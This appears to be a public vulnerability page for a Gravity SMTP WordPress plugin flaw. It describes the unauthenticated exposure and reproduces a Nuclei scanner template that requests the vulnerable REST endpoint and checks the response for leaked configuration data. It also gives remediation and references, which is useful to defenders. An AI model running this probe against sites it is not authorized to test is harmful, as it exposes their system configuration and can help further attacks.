CVE-2026-4020: Gravity SMTP WordPress Plugin - Sensitive Information Exposure

2026-04-09 Gravity SMTP WordPress Plugin PoC Public

Description

Gravity SMTP WordPress plugin <= 2.1.4 contains a sensitive information exposure caused by an unrestricted REST API endpoint at /wp-json/gravitysmtp/v1/tests/mock-data, letting unauthenticated attackers retrieve detailed system configuration data, exploit requires no authentication.

PoC

id: CVE-2026-4020

info:
  name: Gravity SMTP WordPress Plugin - Sensitive Information Exposure
  author: theamanrawat
  severity: high
  description: |
    Gravity SMTP WordPress plugin <= 2.1.4 contains a sensitive information exposure caused by an unrestricted REST API endpoint at /wp-json/gravitysmtp/v1/tests/mock-data, letting unauthenticated attackers retrieve detailed system configuration data, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access detailed system and configuration data, potentially aiding further attacks or information leakage.
  remediation: |
    Update to the latest version beyond 2.1.4.
  reference:
    - https://patchstack.com/database/vulnerability/wordpress-gravity-smtp-plugin-2-1-4-unauthenticated-sensitive-information-exposure-via-rest-api-vulnerability
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/12a296db-ecc0-409b-8718-0c208504053a?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4020
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-200
    cve-id: CVE-2026-4020
    epss-score: 0.39975
    epss-percentile: 0.98553
  metadata:
    max-request: 1
    verified: true
    vendor: rocketgenius
    product: gravitysmtp
    framework: wordpress
  tags: cve,cve2026,exposure,wordpress,wp-plugin,gravitysmtp,wp,unauthenticated,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "gravitysmtp_admin_config"
          - "system_report_clipboard"
          - "feature_flags"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202a736678de4e8cb2acf14bfdbe00ba25e50a7cddb91cd2e5b31e4464ba52bd9302210092dc14bdbc0be6ce5534b18eb477ff509fe20c2d244f4e80826cd53a6a05cf53:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-4020.yaml

References

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